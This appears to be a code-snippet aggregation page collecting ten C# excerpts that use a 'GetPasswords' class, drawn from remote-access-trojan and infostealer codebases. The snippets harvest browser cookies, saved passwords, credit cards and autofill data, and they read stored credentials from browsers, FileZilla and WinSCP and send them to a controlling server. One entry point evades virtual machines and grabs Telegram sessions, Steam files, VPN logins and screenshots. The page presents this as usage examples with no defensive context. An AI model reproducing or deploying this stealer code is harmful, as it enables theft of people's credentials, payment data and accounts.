Exemplo n.º 1
0
        public static void Parse(string dir)
        {
            Directory.CreateDirectory($"{dir}\\Browsers");
            Mozila.Mozila_still();

            try
            {
                foreach (string rootPath in GetProfile())
                {
                    try
                    {
                        string fullName = new FileInfo(rootPath).Directory.FullName;
                        string text     = rootPath.Contains(RoamingAppData) ? GetRoadData(fullName) : GetLclName(fullName);
                        if (!string.IsNullOrEmpty(text))
                        {
                            text = text[0].ToString().ToUpper() + text.Remove(0, 1);
                            string name = GetName(fullName);
                            GetCookies.Cookie_Grab(fullName, text, name);
                            GetPasswords.Passwords_Grab(fullName, text, name);
                            GetPasswords.Write_Passwords();
                            Get_Credit_Cards.Get_CC(fullName, text, name);
                            Get_Credit_Cards.Write_CC(text, name);
                            Get_Browser_Autofill.Get_Autofill(fullName, text, name);
                            Get_Browser_Autofill.Write_Autofill(text, name);
                        }
                    }
                    catch { }
                }
            }
            catch { }
        }
Exemplo n.º 2
0
        private void Execute(ISender client, GetPasswords message)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            var passReaders = new IAccountReader[]
            {
                new BravePassReader(),
                new ChromePassReader(),
                new OperaPassReader(),
                new OperaGXPassReader(),
                new EdgePassReader(),
                new YandexPassReader(),
                new FirefoxPassReader(),
                new InternetExplorerPassReader(),
                new FileZillaPassReader(),
                new WinScpPassReader()
            };

            foreach (var passReader in passReaders)
            {
                try
                {
                    recovered.AddRange(passReader.ReadAccounts());
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Exemplo n.º 3
0
 // Token: 0x06000158 RID: 344 RVA: 0x00008750 File Offset: 0x00006950
 public static void Parse(string dir)
 {
     Directory.CreateDirectory(dir + "\\Browsers");
     Steal.Cookies();
     try
     {
         foreach (string text in Browser_Parse.GetProfile())
         {
             try
             {
                 string fullName = new FileInfo(text).Directory.FullName;
                 string text2    = text.Contains(Browser_Parse.RoamingAppData) ? Browser_Parse.GetRoadData(fullName) : Browser_Parse.GetLclName(fullName);
                 if (!string.IsNullOrEmpty(text2))
                 {
                     text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1);
                     string name = Browser_Parse.GetName(fullName);
                     GetCookies.Cookie_Grab(fullName, text2, name);
                     GetPasswords.Passwords_Grab(fullName, text2, name);
                     GetPasswords.Write_Passwords();
                     Get_Credit_Cards.Get_CC(fullName, text2, name);
                     Get_Credit_Cards.Write_CC(text2, name);
                     Get_Browser_Autofill.Get_Autofill(fullName, text2, name);
                     Get_Browser_Autofill.Write_Autofill(text2, name);
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
        /// <summary>
        /// Starts the account recovery with the associated clients.
        /// </summary>
        public void BeginAccountRecovery()
        {
            var req = new GetPasswords();

            foreach (var client in _clients.Where(client => client != null))
            {
                client.Send(req);
            }
        }
Exemplo n.º 5
0
        public void RecoverPasswords()
        {
            clearAllToolStripMenuItem_Click(null, null);

            var req = new GetPasswords();

            foreach (var client in _clients.Where(client => client != null))
            {
                client.Send(req);
            }
        }
Exemplo n.º 6
0
        public static void HandleGetPasswords(GetPasswords packet, Networking.Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Exemplo n.º 7
0
        private void Execute(ISender client, GetPasswords message)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            client.Send(new GetPasswordsResponse {
                RecoveredAccounts = recovered
            });
        }
Exemplo n.º 8
0
        public static void getPasswords(GetPasswords packet, ClientMosaique client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());


            List <string> raw = new List <string>();

            foreach (RecoveredAccount value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.username, value.password, value.URL, value.application, DELIMITER);
                raw.Add(rawValue);
            }

            new GetPasswordsResponse(raw).Execute(client);
        }
Exemplo n.º 9
0
        public static void Main()
        {
            // Проверяем на запуск виртуальных машин ( Virtual Machine Check )
            if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck())
            {
                Environment.Exit(0);
            }
            // Создаём папку куда будем всё собирать
            HomeDirectory.Inizialize();
            // Делаем проверку что папка создалась
            if (CombineEx.ExistsDir(GlobalPath.HomePath))
            {
                // Собираем данные ....
                Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                MailFoxPassword.Inizialize();
                BuffBoard.Inizialize();
                NordVPN.Inizialize_Grabber();
                DynDns.Inizialize_Grabber();
                FileZilla.Inizialize_Grabber();
                Pidgin.Inizialize_Grabber();
                GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam");
                InfoGrabber.Inizialize();
                ScreenShot.Inizialize(GlobalPath.Screen);

                // Сбор и вывод логинов и паролей
                Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data");
                GetPasswords.Inizialize_Multi_file();

                // Сбор и вывод куки данных
                Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies");
                GetCookies.Inizialize();

                // Сбор и вывод Автозаполнение форм
                Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data");
                GetAutoFill.Inizialize_AutoFill();
            }
        }
Exemplo n.º 10
0
        public static void HandleGetPasswords(GetPasswords packet, Client client)
        {
            List <RecoveredAccount> recovered = new List <RecoveredAccount>();

            recovered.AddRange(Chrome.GetSavedPasswords());
            recovered.AddRange(Opera.GetSavedPasswords());
            recovered.AddRange(Yandex.GetSavedPasswords());
            recovered.AddRange(InternetExplorer.GetSavedPasswords());
            recovered.AddRange(Firefox.GetSavedPasswords());
            recovered.AddRange(FileZilla.GetSavedPasswords());
            recovered.AddRange(WinSCP.GetSavedPasswords());

            List <string> raw = new List <string>();

            foreach (RecoveredAccount value in recovered)
            {
                string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER);
                raw.Add(rawValue);
            }

            client.Send(new GetPasswordsResponse {
                Passwords = raw
            });
        }